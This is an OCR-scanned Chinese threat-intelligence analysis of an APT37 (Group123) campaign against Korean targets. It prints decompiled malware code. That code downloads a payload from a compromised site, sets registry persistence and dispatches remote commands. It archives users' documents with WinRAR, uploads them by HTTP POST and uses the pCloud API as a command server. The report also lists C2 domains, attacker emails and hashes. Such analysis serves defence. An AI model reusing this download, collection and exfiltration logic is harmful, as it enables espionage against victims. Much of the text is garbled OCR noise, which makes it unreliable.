£E{LGroup123 (APT37) $HHEHNBEA TG A
v

BRE R SR OE2019F8BIRRIOA 4E), WNE—HHMRUPHEZFHEIAL
MPBREER. EEPTHREI, RURGroup1 23EARNREIM B EED.

—. HfFhd

BRE R SR OE2019F8 AREIVAF A, B —Hts R UFHEZFHEXAL
MPBREEN. SIS THREAI, SFURGroup1 23MHARIRIHWEEE,

Group123, XKFAAPT37, SRLCREHAHMNKEAR, ZARIXERLERNNABELE.
TEENERE, EEBMASM. ZEAAREERGXYEaEITERRE, FANdays
Z0dayimAHITAR S,

=, BARASH
1. el

AR EERN R IAKRIKINEIE X WG HR, BRMEX BERBITHN, TUBRER—REBH
HaRT, FRNIEEAFEIENCM rar. BN-190820.rar. list of delivery.rarg.

2, BEXMFHEA
KRIGERVFEA—NrarfEEXSF, BERA—NMERwordERRFRRHITX MG

1721


https://s.tencent.com/research/report/831.html

BERIER -

i

L5 By

sl =1

» list of delivery

HE ~ FE i

list of delivery.doc.exe
2019/9/27 18:51
325 KB

BRI LR A— 1 T EES, & THSHRADHNT

1) EFERITINGE :

312
3135
314
315
316
317
318
319
328@
321
322
323

ey ]
249 vl ¥= v8l;
258 5leep(l8u);
251 FormatMessageW(Ox1100u, @, dwMessageld, @, Buffer, @, @);
252 veEE = 1288264813,
253 vB3 = 26381;
254 37 = 33
vebe = 1;
vas = 7;
;
while { v27 != 7 * vB4 + vB2 );

sub 4BBE18();

PostMessageW(*(HWND *}1pThreadParameter, @x1F3Fu, @x48u, 18893});
17143.369;

-25@98;

BT

-l
e I

| oh oh

I

_1;

45

2) TEEBEER, TFHhttp://artmuseums.or.kr/swfupload/fla/1.jpg>X 4
F)%temp%\winsxz :
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L]

519 w377 = 'L ;
528 w378 = "0';
521 w373 = "c';
522 w3B@ = "a’;
523 w38l = "1";
524 w3B2 = "\W';
525 w383 = 'T';
526 w34 = ‘e';
527 w385 = 'm';
528 w386 = 'p';
529 w37 = "\WW';
538 w3BB = 'w';
531 w389 = "i’;
532 w398 = 'n';
533 w391l = 's';
534 w392 = 'x';
535 w393 = "z';
536 w394 = @;

537 w324 = 'h';
538 w325 = "t';
539 w32e = "t';
S48 w327 = 'p’;
541 w328 = ":';
542 w329 = "f';
543 w338 = "/f°';
544 w331l = "a’;
545 w332 = 'r’;
546 w333 = "t';
547 w334 = 'm";
548 w335 = "u';
549 w336 = 's';
558 w337 = 'e';
551 w338 = "u';
552 w339 = 'm’';
553 w348 = "s°';
554 w34l = '.';
555 w342 = 'o';
556 w343 = 'r';
557 w344 = "3
558 w345 = "k';
559 w3dE = 'r';
SeB w347 = "f°;
561 w348 = 's';
562 w349 = 'w';
563 w358 = "f';
564 w351 = "u';
565 w352 = 'p’;
566 w353 = '1";
567 w3sd = 'o';
568 w355 = 'a';
569 w356 = 'd’;
578 w357 = "Jf';
571 w358 = 'f';
572 w359 = '1°';
573 w3eld = 'a';
574 w36l = "/';
575 w3R2 = "1";
576 w363 = ".';
577 w364 = 'j';
578 w3IBS = 'p’;
579 w3BE = 'g’;
588 w37 = '\@'

=
ER L

-

581 SubkKey = 'S
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CEEld@] @oueasBA |2 [0]F] cesd1sfc.BB40A4BA EE <jmp.&urlmon.URLDownloadToFilen>
BOAFF964| @AOBABAD

AOAFF968| BBAFFDBC | ASCII “http://fartmuseums.or kv /swfupload/flas1.jpg”

BOAFF96C| B82B81ACE | ASCII "C:\Users\Administrator\AppDataslLocal\Temphwinsxz"
BBAFF970| 0ABBBBAH

3) MREXfr, HRRNME, BHAMT
42323337 383335313641 3634394436 37
42324438 314341 46 45 41 31 4241 3339 33

4) REFMR EMANBHAS :

1228 v187 = 1;

1229 RegOpenkeyA{HKEY CURRENT_USER, &Subkey, E&phkResult);
1238 r83 = v187 * v184 + v1B9 * w185 + w188 * vlB6;

1231 goto LABEL 48;

1232 }

1233 }

1234 }

1235 35 = &w208;

1236 49 = Sv2ee;

1237 chData = wv28l;

1238 w48 = &v200;

1239 v141 = (BYTE **)&v208;

1248 vB5 = [BYTE *)&v20@;

1241 w54 J2E2 = 8x18;

1242 if ( (_BYTE)va4 )

1243 85 = *vl41;

1244 lpData = v85;

1245 dwMessageld = RegSetValueExA(phkResult, &ValueName, @, lu, vB85, chData);
1246 LABEL 68

1247 *(_DWORD *)Buffer = @;
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LI
L
t
P,
i
]
-
-
-

3. RATS# 595 w292 = "M';

596 v293 = "i';
s . . N 5O7| w294 = "C";

THERNpgXHEIEFERE, REIE S98 v295 = 'r';

BIRAT, X{EBE1E 599 v296 = "o’
688 w297 = 's';
e AR = """
cor vae e
683 vIBE = "t';
B4 w3IBL = "W\';
685  wIBZ = 'W';:
GB6  wIBI = "i';
87 w384 = 'n';
688 = 'd';
89 v3IBE = 'o';:
1B vIBT = 'w':
1l w388 = 's';:
6172 20 = ° Y
13| vate - O
614 311 = "u';
15 w312 = 'r';
616 w313 = 'r';
617 314 = 'e';
618 315 = 'm";
619 w316 = "t';
628 w317 = 'V';
621 w318 = 'e';
622 w319 = 'r';
623 w328 = 's';:
624 w321 = 'i';
625 w322 = 'o';
626 w323 = 'n';
627 w324 = "\\'3
628 w325 = 'R';:
209 w326 = 'u';:
638 w327 = 'n';:
3L w328 = "\@";

A3 . C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\svchost.exe

ZXHEMTvmp® ¢

< svchost exe

| Hame Virtual ... Virtual A .. Eaw Size Eaw fAddre=zs | Beloec Ad. .

Ewtel[d] Dword Dword Dword Dword Dword

. text O0030EZC Qooo1000 Qo0oooao QoQo0o0a Qo0o0o0a
.rdata OO00AS4E Q0032000 Qo0oooao QoQo0o0a Qo0o0o0a

. data oooois3c Q0030000 Qo0oooao QoQo0o0a Qo0o0o0a

. wmpld 00zzFaE0 Qo03FoO0 Qo0oooao QoQo0o0a Qo0o0o0a
.wmpl Oa3EZ560 Q0ZEFOa0 QO0ZEZA00 Q0000400 Qoao0oaa
.reloc oagoasCo Q0652000 Qo0oa&aa QO0ZEZEQD Qoao0oaa
.rEre 00023 A5C Q0653000 Q0023400 O03E3400 Qoao0oaa
s
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RITERIERZAHD MarchiEFE, PHLEESET !

Farameter = CreateWindowExW(®, L"STATIC", &WindowMName, @, @, @, @, @, 8, 8, @, @);

'3 strcpy(Name, “HD March™);

4 w1l3 = CreateMutexA(8, 1, Name);

s if ( GetLastError() != ERROR_ALREADY EXISTS )
e {

7

8 vill

B downloader & AR5 FEIERIETT !

4 | — —_—

= CreateThread(®, ®, (LPTHREAD START_ROUTINE)StartAddress, &Parameter, @, &ThreadId);

— = —_—

1DWORD _ userpurge StartAddressfi<eax:(char al@<bl:, int a2f@<esi>, LPVOID lpThreadParameter)

21

DWORD dwMessageld; // ST28 4

WCHAR Buffer[2]; // [esp+8h] [ebp-8h]
int w63 // [esp+Ch] [ebp-4h]

*(_DWORD *)}Buffer = @3
dwMessageld = GetLastError();
vE += 73

(RSN . . Y, T SO FY)
&

Sleep(18u);

¥
while { v& <= leeaad );
PostMessageW(* (HWND *}1lpThreadParameter,

S i

FormatMessageW(8x1188u, @, dwessageld,

@, Buffer, @, 8);

@x1F3Fu, @x48u, 18893);

. sub_4T8938(z1, ai);
9  return 8;

2}

BERITHSKRETENER, EFIRNRRETNXEXHERNEHMESE hwpXHER

BIREE, EXHRHEERDAXEFERRIEX G, EFAEMISEFHE

178 w111l = CreateThread(®, @, (LPTHREAD START RO
179 GetMessageW(&sg, @, @x1F3Fu, @x1F48u);
188 DestroyWindow(Parameter);

181 vl = VM_SBEBAS(Zunk_438F98);

182 xsub_412E38(&v82, v1);

183 xsub_412E38(&v97, (int)L"u.php™);

184 ®xsub 412E3@(&v28, (int)L"g.php™);

185 xsub_412E38(&.01, (int)L"d.php™});

186 xsub_412E38{&v156, (int)RBunk_439828);

187 sub_412C7@( (int)L"{\"omds\":[ ");

188 xsub_412E38(&v59, (int)L"systeminfo™);
189 xsub_412E38(&v68, (int)L"ipconfig /all");
198 xsub 412E38(8vel, (int)L"tasklist /v"};
191 xsub 412E3@8(&vE2, (int)L"netstat /fac™);
192 xsub_412E38(&ve3, (int)L"netstat /r");

-UTINE)StaE‘tA_ddr_ess; &I_Da';ﬂ'e_-_E’; B; &"I'I_'u’eadId);

// http://fjtlephare.fr/wp-content/uploads/2018/85/null/
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) DU T LrvTLL Y L gy

264 while ( (unsigned __int8)sub_4119C8(&v155) )

201 {

202 v3 = sub_411A28(&166);

203 sub_412EDB(&v93, v3);

284 vde = {const CHAR *)L"\",\"result\":\"";
2@5 vd = sub_415F28(&vE3, L"{\"id\":\"\",\"cmdline\":\"", &v93);
206 v5 = sub_416@E@(&vE4, v4, vi6);

207 sub_412C5@(v5);

208 sub_412D88 (& 54);

289 sub_412D88(&vE3);

210 v11le = 8v4l;

211 sub_412ED@(&v4l, (int)&vO3);

212 sub_48D128(&.94, v4l);

213 vd6 = (const CHAR *)(2 * sub_412870(&v94));
214 vE = sub_412890(&94);

215 sub_4@7E48(&v95, vE, v46);

216 sub_412E9@(&v96);

217 vd6 = *(const CHAR **)sub_4130A8(&v189);
218 v7 = (_DWORD *)sub_413110(&v188);

219 sub_416358(*v7, v46);

220 sub_412C58(&v96);

221 sub_412C38(L"\"},");

222 sub_412088(&96);

223 sub_41337@(&v95);

224 sub_41200@ (& 94);

225 sub_412000(&93);

226 sub_ 411208 (&166);

227 1

228 w154 = *(_DWORD *)sub_41294@(& 167);

229 vd6 = (const CHAR *)1;

230 va5 = &vl1e6;

231 sub_412940 (& 143);

232 v153 = *(_DWORD *)sub 4123F@(v45, v46);

233 sub_412A28(v153, v154, L"]");
234 sub_412C38(L",\"fepairsi":");
235 xsub 412E38(&v40, (int)L".doc™);

236 xsub 412E38(&v58, (int)L".docx");
237 xsub_412E38(&v51, (int)L".x1ls");
238 xsub 412E36(&v52, (int)L".xlsx");
239 xsub_412E36(&v53, (int)L".ppt");
244 xsub_412E36(&v54, (int)L".pptx");
241 xsub 412E36(&v55, (int)L".hwp™);
242 xsub 412E36(&v56, (int)L".pdf");
243 xsub 412E36(&v57, (int)L".txt™);
244 w142 = BvAS:

RATHYTHEEE ZEHIFZEOT ©

ControlCode1 | ControlCode2 | 375

SLEEP interval Sleep#sERYIE]
RUNCMD cmdline CMD Shell
url
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SETBURL burl TEE X

rurl

remove

EXEC src mITX &

dst

crypt

UPLOAD type EEXHEX

url

extlist

dirlist

356 if ( (unsigned _ int8)sub 416@18((int)& 261, (int)L"SLEEP") )

357

358 v12e = &v38;

359 v119 = xsub 412E38(&v38, (int)L"interval™);
360 LOBYTE(v322) = B;

361 v118 = &v28;

362 sub_411B78(&321);

363 LOBYTE(v322) = 73

364 v1l6 = sub 4@8D438(8&v94, (char)v2s, v29, v3@8);
365 v2 = sub_412898(&v94);

366 w275 = sub_428383(v2);

367 Sleep(l@@@ * v275);

368 sub_412D88 (&94);

369

378 else if { (unsigned _ int8)sub_416818((int)}&v261, (int)L"SETEBURL") )
371 {

372 w115 = &v38;

373 v11l4 = wsub 412E38(&v3a, (int)L"burl™);

374 LOBYTE(v322) = 9;

375 v113 = Bv28;

376 sub_411B78(&321);

377 LOBYTE(v322) = 73

378 w112 = sub 4@8D438(&.91, (char)v2s, v29, v3E8);
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(N N N B BN N N N N N E BN N N NENEBN N

414

415
b 416
b417
b 418
b4159
bo428
421
I 422
b 423
bo424
b 425
b 425
b 427
I 428
b429
I 438
I 431
I 432
b 433
I 434

542
643
B44
645
g46
547
48
G549
658
651
652
653
654
655
656
657
658
659
G668
66l

-

Q58
Q959
968
961
962
963
964
965
966
967
968
969
a7
a7l
a7z
a73
974
a7s5

me

else if {( {unsigned _ int8)sub 416616((int)&v251, (int}L"UPLOAD™) )

{

else if { (unsigned _ int8)sub 416818((int}&v261, (int)L"EXEC™) )

1
w248 = &v38;
w247 = xsub 412E38(&v30, (int)L"src");
LOBYTE(v322) = 15;
v24e = &v28;
sub_411B78(&/321);
LOBYTE(v322) = 73
v245 = sub_48D43@(&v262, (char)v2s, v29, v3@);
LOBYTE(v322) = 16;
w244 = &v3@;
w243 = xsub 412E3@8(&v30, (int)L"dst™);
LOBYTE(v322) = 17;
w242 = &v2E;
sub_411B70(&v321);
LOBYTE(v322) = 16;
v241 = sub_40D430(&v278, (char)v2s, v29, v3@);
LOBYTE(v322) = 18;
w248 = &v38;
w239 = xsub 412E38({& 38, (int)L"crypt");
LOBYTE(w322Y = 19:

w221 &v3e;

w228 = xsub_412E38(&v38, (int)L"type™);
LOBYTE(v322) = 36;

w219 = &w28;

sub_411B7@(&v321);

LOBYTE(v322) = 73

v218 = sub_48D438(&v109, (char)v2id, v29, v3e);
LOBYTE(v322) = 37;

w217 = &vw3e;

w216 = xsub 412E38(&v30, (int)L"url™});
LOBYTE(v322) = 38;

w215 = &v2E8;

sub_411B70(&v321);

LOBYTE(v322) = 37;

v214 = sub_48D438(8&v72, (char)v2d, v20, v3a);
LOBYTE(v322) = 39;

sub_4120B0(&328);

LOBYTE(v322) = 48;

e e T

1
else if { (unsigned _ int3)sub 416818((int)&v261, (int)L"RUNCMD™} )

1
w149 = &v38;
w148 = xsub 412E3@(&v30, (int)L"url™);
LOBYTE(v322) = 94;
w147 = &v28;
sub_411B78(8v321);
LOBYTE(v322) = 7;
v146 = sub 4BD430(&vE5, (char)}v2d, v29, w3B);
LOBYTE(v322) = 95;
v1ds = &v38;
vldd = xsub 412E36(&v30, (int)L"cmdline™);
LOBYTE(v322) = 96;
w143 = &v28;
sub_411B7@(&v321);
LOBYTE(v322) = @5;
w142 = sub 480430(&v07, (char)v2d, v29, vi@);
LOBYTE(v322) = 97;

als AYACME SR T Fam+N QTN

9/21



4. TR

4, svchostiR F&AT —1X
fFC:\\Users\\Administrator\\AppData\\Local\\Temp\\mscmgr

EXHiThE, BRIERIERR THaconfiginiXXff, MAIREXC2ER :

41 /o= (e [1];

42 while ( v1 };

43 strcpy(ve, "aconfig.ini™);

44  result = fopen{&Filename, "rb™};
45| v25 = result;

46 if { result )

A=

48 (*(void (_ cdecl **)(char *, _DWORD, signed int))}(({char *)&ocff_487125[66] + 3})(&v27, @, 512);
49 memset(&v32, @, Ox20u);

58 fread(&27, 1u, @x288u, v25);

51 fclose(v2s);

52 DeleteFileA(&Filename);

53 sscanf(&v27, "¥s\t¥s\t¥s", name, &unk_454978, &v32);

54 dword_458A78 = atoi(&v32) << 28;

55 if ( (unsiened intldword 45AA70 < @x480 )

Bi{rand}.exeXf§, MD5J : 6f29df571ac82cfc99912fdcca3c7bdc, #FH Pz

Awinrarfp BITHREZEXH .

Wk
-~

[

CloseHandle(w22};
DeleteFileW(&FileName);
¥
sub_481888();

carnl+ — FETIE *%1.

o P s Ll L L L L L R R RS R R R RS ORI R
[sx]

MORa

TSEEERTHIEET BRXH

1 1

2 /20 = v19[1];

3 19;

5 while ( wv2a& });

6 *(_DWORD *)v19 = *( DWORD *)L".exe";

7 v21 = (int)({vl9 + 2);

8 *(_DWORD *)v21 = *{ DWORD *)L"xe";

9 *(_WORD *)}(v2l + 4) = aExe[4];

8 ;22 = CreateFileW(&FileName, @x200808808, lu, @, 3u, Bx36u, @);
if ( v22 == (HANDLE)-1 )

/23 = CreateFilel(&FileName, @xCoo@e8ee, lu, @, 2u, Bx36u, 8);

4 WriteFile(v23, Sunk 419EDB, @x43E@Gu, &NumberOfByteslritten, @);
5 CloseHandle(w23});
& 1
7 else
1
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if ( sub_481319() )
{
CommandLine = @;
(*(void (_ cdecl **)(char *, _DWORD, signed int))((char *)&off_487125[66] + 3))(&v15, @, 8190);
wsprintfi(
&CommandLine,
L"emd /o \"\"%s\" a -r -m5 -y \"¥s\" \"¥Buserprofile®H\\*. hwp\" \"¥Euserprofile¥E\\*.url\" \"¥Xuserprofile®¥\\*.doc\""
" \"ERuserprofile®E\\*.x1s\" \"EEuserprofileX®\\*.docx\" \"Euserprofile®®\\*.xlsx\" \"¥huserprofile®®\\*.txt\" \""
"H¥userprofile¥\\*.amr\" \"¥Huserprofile¥¥\\*.wav\" \"¥Huserprofile¥¥\\*.mp3\" \"H¥userprofile¥¥\\*.3gp\" \"XHuse"
"rprofile®®\\*. ppt\" \"¥¥userprofileX¥\\*.pptx\" \"¥¥userprofileX¥\\*.mp4\" \"¥Huserprofile¥¥\\*.eml\" \"¥Xuserpro”
"File®¥\\*. jpg\" \"M¥userprofile¥¥\\*.zip\" \"M¥userprofile¥¥\\*.rar\" \"¥Xuserprofile®¥\\*.alz\" \"¥Xuserprofile¥¥\\*.egg\"\"",
&FileName,
&uwideCharstr);
byte 45A474 = 67;
sub_401C9B(&CommandLine);
v7 = GetLogicalDrives();
Vil = @;

Hiae8XH, fTSEET BaX K

46

v7 = GetLoéicalDrives();_

vil = @;

vi2 = @;

vis = @;

vid = @;
RootPathName = 99;
VO = 58;

vie = 923

vE = 33

while ( 1 )

iF ( (1 << us) & u7 )

RootPathName = v5 + 65;
v6 = GetDriveTypeuW(&RootPathName);
if (w6 ==2 || v6 ==3 || v6 == 4 )

wsprintfu(
&CommandLine,
L"emd /e W"\"Es\" a -r -m5 -y \"Es\" \VEo:\WF.mdal” \Eo W Fohwph" \"Eo:\\W*odoc\" \"Bo: WL pg\t WEo W uds\

AR\ L doox W VR W Loddsx\ " VB \WWFLaame VT VB WL BT WMo\ ppt T V"R O\ L pphad\ AT,

&FileName,
&WideCharstr,
RootPathName,
RootPathName,
RootPathName,
RootPathName,
RootPathName,
RootPathName,
RootPathName,
RootPathName,
RootPathName,
RootPathName,
RootPathName);

byte_ 45AA74 = RootPathlame;

sub_4@81C9B(&CommandLine);

1

T g EfERIC2 L ¢
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12
13
14
15
16
17
18
19
26
21
22
23
24
25
26
27
28
29
38
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49}

vl = alj;
v2 = gethostbyname{name);
if ( vz )
return 1;
vd = inet ntoa(**(struct in_addr **)vZ->h _addr list});
vs = (char *}(cp - wvi);
do
1
ve = *yd;
vad[ {_DWORD)vS] = *vd;
+Hrd g

while ( v& )3

Vi o= 83

vl = ylj

if ( vl )
return v9;

while { 1 )

while ( 1 )
1
vB = vlj;
if { vl »= dword_458878 )
vE = dword 45AAT8;

if ( !sub_4@167D((LARGE INTEGER) PAIR (v8, v7)) )

break;
w7 += viE;
vl -= vi;
if { vl )
return vo;
¥
dword 458878 = (unsigned int)dword 45AA78 > 1;
if ( ldword 458878 )
break;
Sleep(@x1C2u);
¥

return v9 - wvlj;
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I3

55
56
57
58

6@
6l
62
63
64
65
66

68
69

BEERNE, BEFHFETENFNH, EFEXNTHA !

VLS _LLneoE T )
srand(vl);

v2 = rand();
v3 = rand();

sprintf{&33, "---------om o ¥oTxHe6x", v3 ¥ @wCCAAFFF, v2 ¥ @x5333BB);

sprintf(
&v2s,
"HC_XO2xA02xEe2xXe2xEe2 kX0 2x",
byte_458474,
(unsigned _ int8)gword_45A968,
BYTE1(qword_45A968),
BYTE2(qword_45A968),
BYTE3(qword_45A968),
BYTE4(qword 45A968),
BYTES (quword_45A968) ) ;

sprintf(
&v31,
" --Eshrin™

"Content-Disposition: form-data; name=\"jiumian\"; filename=\"%s\"\r\n"

"Content-Type: application/octet-stream\rin”
"\rin”,

&v33,

&MultiByteStr);

sprintf(&v29, "\r\n--%s\r\nContent-Disposition: form-data; name=\"fc\"\rin\r\n¥s\rin--%s--\r\n", &33, &v

vd = CreateFilel(&WideCharstr, @x30008008, 3u, @, 3u, @x3éu, @);
result = -1;
hobject = w4;
if ( v4 = (HANDLE}-1 )
1
Vi3 = @3
if ( SetFilePointerEx{v4, (LARGE_INTEGER}liDistanceToM
sprintf(
&buf,

"POST ¥s HTTP/L.1\r\n"
"Accept-Encoding: gzip, deflatelrin™

ve.LowPart, &NewFilePointer, @) )

"User-Agent: Mozilla/4.@ (compatible; MSIE 6.@; Windows NT 5.1; Svi)\rin”
"Accept: image/gif, image/x-xbitmap, image/jpeg, application/x-shockwave-flash, **\rin"

"Accept-Language: en-usiri\n”

"Content-Type: multipart/form-data;boundary=%s\rin™

"Host: ¥s:¥d\r\n™
"Content-Length: ¥d\rin"
"Connection: Keep-Aliwvelr\n"
"Cache-Control: no-cache\rin"
"\rin",

Zunk_ 454970,

&vza,

w_ _%'wamm..
"Content-Disposition: form-data; name=
"Content-Type: application/octet-stream\F

"\,

e = o,
v16 = 13

h filename=%"%s\"\r\n"

gmemcpy (&writefds, &v16, sizeof(writefds));
if { select(®, &writefds, @, @, &timeout) =1

88 recv(s, &v20, Bu2e08, @)
8& strstr(&v28, "288 OK")

8& !strstr(&v2e8, "gezai")

&% strstr(&/2e, "Trwmwewn) )

=, XBDHR

1. BERE=R

BT IFEREXHFREFENFHY, MARENXAHFEIEHEERDAAFERBINEX
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frhwp, LEAMNZEZENNERTUALIMANE-EBZHAL, BSRFHRIS I HEEN
X, REFIVENRERNRAZLERFHEE X B S AL,

4, MNIRERIC2KE, #IREEMEX, 40 : artmuseums.or.kr, BIREKRZRLERMNT

SB FEIRZE artmuseums.or.kr

BREIEN RS

artmuseums.or.kr

A
HRRE: 5 AlexaHE® ASER FRFAGRIP HERS BRI RILE
[EER: 0 N/A & & ¥ EEiN R

RUBMEIR RMEER EMRER BERER DNSfER RERELB RS SHBOM RERAINER

SRERRERER

Ptk 220.124.143.87
HIE(IE:  #[E-seoul-teukbyeolsi-seoul-FR A0

BEG: korea telecom-R&l

As ID: 0

Mi%ih = AFEEYIENML, FIERNIFNREE LR T 72, AEURGEAC2, KU
LERIFBE R

2. BEhliighsx B
1) HERATHIC2 : casaabadia.es, F{]XEBERI4H X X5 -
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&Ei# LRIURLIER

RETrTEE

URL

http://casaabadia.es/

MD5

http://casaabadia.es/wp-content/galleryfinfo_gallery/info.php

http://casaabadia.es/wp-content/gallery/photo_gallery/gallery.jpg

http://casaabadia.es/wp-content/gallery/photo_gallery/gallery.php?
os=Windows&&osver=7&&browser=MSIE&&bver=9.08&mobile=false&&flashver=21
,0,0,213

http://casaabadia.es/wp-content/plugins/jj-nextgen-image-

list/stylesheets,

yle.css?ver=3.4.1

http://casaabadia.es/wp-content/plugins/linkin/banner.gif

X XHH : gallery.jpg (3cc51847c2b7b20138ad041300d7d722)

—
86CA3968

B6CA3ASYH
BOCA3BE3
80CA3DG6S
BOCA3FAE
80CA3FDO
eecaLe07
86CALBAC
aecaL611
B6CALBTS
B6CALB7A
8OCALBSS
80CA4BBB
80CA418D
80CAL1AR
eeca41B8
86cAL1DS
BOCALIE7
BOCALIFS
86CAL235
86CAL255
B0CA427B
80CA429B
80CA42BE
88CAL2C3
88CAL2CF
BOCAL2EYL
86CAL3L0
86CAL3SD
86CAL362
BOCA43GE
B0CA4383
B0CALY42F
00CALY459
80CALYLI3
86CALYLI8
B6CALLID
B6CALSE3
B6CALSFB
86CAL6 09
BOCA46F1
BOCAL6F7
80CA4713
80CAL725
BOCAL766
B6CAL76B
B6CAL777
B6CALBSB
86cALSAF

aaran0sa

push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push

mov dword ptr ss:[ebp-0x2610],selrg.00D:

push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push

mov dword ptr ss:[ebp-0x141C],selrg.00D:

push
push
push
push
push
push
push

nuch

selrg.@86D36D58
selrg.06D36D5C
selrg.@eD3ep5C
selrg.0eD36D64
selrg.@eD36p70
selrg.@6D36DB8
selrg.@86D36DC8
selrg.@86D36DD4
selrg.@86D36DEA
selrg.@86D314D4
selrg.06D314E6
selrg.06D30ECE
selrg.06D36DES
selrg.008D306F18
selrg.008D36F20
selrg.@6D36F2C
selrg.@6D36F30
selrg.@6D36F38
selrg.@6D36F 44
selrg.086D36D768
selrg.06D36DB8

selrg.08D36F78
selrg.00D36F8C
selrg.00D36DC8
selrg.00D30FBO
selrg.00D30FBS
selrg.00031020
selrg.00D30F8C
selrg.00D30DC8
selrg.08D36FBO
selrg.08D36FBS
selrg.08036D70
selrg.00D36DBS
selrg.00D36DC8
selrg.00031034
selrg.00D30FBO
selrg.00D31044
selrg.00031050
selrg.00D30F2C
selrg.08031158

selrg.0eD311A0
selrg.@eD36070
selrg.086D31228
selrg.@86D36DC8
selrg.@86D36DEA
selrg.086D31866
selrg.086D316896
calvn GAN2ORTA

%S

%s\%s

Mozilla/5.@ (Windows NT 6.1; WOW64; Trident/7.8; ru:11.0) like Gecko
api.pcloud.com

HTTP/1.1

fuserinfo

POST

CUFTESTZEY
laowinjintorres@yandex.com l

.

5 1&_t=%d&logout=12authexpire=%d&authinactiveexpire=%d

Content-Type: application/x-wwu-form-urlencoded; charset=UTF-8\r\nReferer: https://my.pcloud.com/#page=login\rinAccept-Language: en-US,en;q
auth

auth™: ™

userid

userid”:

Mozilla/5.8 (Windows NT 6.1; WOWGA; Trident/7.8; ru:11.8) like Gecko
api.pcloud.con
application/json, text/javascript, =/*; g=0.61

2

Accept-Language: en-US,en;q=0.7,ko;q=0.3\r\n0rigin: https://my.pcloud.comirinAccept-Encoding: gzip, deflate
/listtokens?auth=%s

https://my.pcloud.con/#page=1ogin

HTTP/1.1

GET

Accept-Language: en-US,en;q=0.7,ko;q=8.3\r\n0rigin: https://my.pcloud.comirinAccept-Encoding: gzip, deflate
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.8; ru:11.0) like Gecko

api.pcloud.com

HTTP/1.1

/currentserver

GET
hostname
hostname’

/uploadfile?folderid=6&progresshash=upload-%s-xhr-%d&nopartial=1&auth=%s

application/json, text/javascript, =/*; g=0.01

7df170810b01765\r\nContent-Disposition: form-data; name="file"; filename="%s"\r\nContent-Type: text/plainirin\r
Mozilla/5.8 (Windows NT 6.1; WOW64; Trident/7.8; rv:11.8) like Gecko

https://my.pcloud.con/#page=Filenanager

HTTP/1.1

POST

7dF272db01765--\r\n
Content-Type: multipart/form-data; boundary
Mn2i113/C A {Windnuc NT & 4= WAWAK=- Teidant /7 A- en-11 6} libo Carbn

7d£17010b01765\r\nAccept-Language: en-US,en;q=0.7,ko;q=0.3\r\n0rigin

WX, BMXBEIENE

https://www.fortinet.com/blog/threat-research/evasive-malware-campaign-abuses-free-

cloud-service-targets-korean-speakers.html
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using the service as storage for the stolen data, it is also used to instruct the malware to download files from a list of URLs. This will br
later in this article.

There are several advantages to using a cloud service as a C&C server. First and foremost, it’s a lot easier to setup and there are a lot
storage services out there with more than enough functionalities for such purpose. As a result, attackers no longer need to setup their
servers or compromise others, and at the same time it is assured to always be online and accessible. Moreover, it is more complicatec
forensic investigations because there is simply little information to work with. Contrary to using a compromised web site, in this case t
actual machine to do forensics on or a web admin that might spot the malware traces. Lastly, accounts for such services are protecter
policies, which can be a pain to work with if information is needed about a certain account.

These are the email accounts used to register the pCLoud accounts in this campaign, including disposable ones. Since first discovere
documented, this list may have grown or changed:

szfmeyjl15wfe@pokemail.net
dribacukes@throwawaymail.com

ihorh v o o

[ laowinjintorres@yandex.com ]
wirecapital9090@yandex.com
longspairman@yandex.com
laowinjintorres@yandex.com

kduandgl@yomail.info
applestorm8188@yandex.com

Data Exfiltration and Further Infiltration

By using pCloud APIs this campaign is able to easily upload data from the victim as well as download additional tools or malware into
system.

BAZXGHRPHZIFHER S, BEMMEX ocsBIRMRERE AScarCruft , B
AGroup123:

936ff56db5512899427188afc4eabfb37e715a756f772de07b79420f42531227

Ad-Aware @ Gen:Variant.Symmi.59414 AegisLab @ Gen.Variant.Symmilc
AhnLab-V3 (@ Trojan/Win32.Compfolder.N2010335635 ALYac (@ Trojan.Agent.flashve

Antiy-AVL @ Trojan[:HEUR)/Win32.ScarCruft Arcabit D) Trojan.Symmi.DE816

Avast @ Win32:Malware-gen AVG @ Win32/DH{CVsTJYFG?}

Avira (no cloud) @ TR/Downloader.Gen AVware @ Trojan.Win32.Generic!BT

Baidu @ Win32.Trojan.WisdomEyes.16070401.95.. BitDefender @ Gen:Variant.Symmi.59414

Bkav @ W32.Clod4a5.Trojan.9261 CrowdStrike Falcon @ Malicious_confidence_100% (D)
Emsisoft @ Gen:Variant.Symmi.59414 (B) eScan @ Gen:Variant.Symmi.59414
ESET-NOD32 @ A Variant Of Generik.ISFJBJE F-Secure @ Gen:Variant.Symmi.59414
Fortinet @ PossibleThreat GData 1) Gen:Variant.Symmi.59414
Jiangmin @ Trojan.ScarCruft.m K7AntiVirus @ Riskware ( 0040eff71 )

K7GwW @ Riskware ( 0040eff71 ) Kaspersky [ D) HEUR:Trojan.Win32.ScarCruft.gen ]
McAfee (@ RDN/Generic.dx McAfee-GW-Edition (@ BehavesLike.Win32.PWSZbot.dc
Microsoft @ Trojan:Win32/Dynamerlac NANO-Antivirus @ Trojan.Win32.UXKK4726.ecqpgp
Panda @ Trj/GdSda.A Qihoo-360 @ HEUR/QVM11.1.Malware.Gen
Rising @ Malware.GenericlgwmFVz4IgrB@5 (thun.. Sophos AV @ Mal/Generic-S

Sophos ML @ Trojan.winnt.moogkel.a Symantec @ Heur.AdvML.B

TrendMicro () TROJ_GEN.RO1TCODEU16 TrendMicro-HouseCall (D TROJ_GEN.RO1TCODEU16
VIPRE @ Trojan.Win32.Generic!BT ViRobot 1) Trojan.Win32.Agent.249344.Hlh]
Zillya @ Trojan.Heur.Win32.1734 CAT-QuickHeal 2\/ Undetected

2) HLETEHE THMEFIRIFRIEurl | www.chateau-eu.fr, B{EBREARRE, @ TEALR
Bt ZEwww.chateau-eu. frillF :
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S BN ZE www.chateau-eu.fr

SREHE RS

www.chateau-eu.fr

malware site

RERE: 0 AlexaHF& EhES A AR HERE

[EER: 1 N/A & & %

MmiRIEwww.chateau-eu.fri#fTRE, R XIS —EXE :
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server and didn’t need a backdoor to operate it, we consider
other possible interpretations less likely.

The artifact encountered is the following:

Name svchost.exe

MD5 58a4d%3d386736chb9843a267c7c3cllb

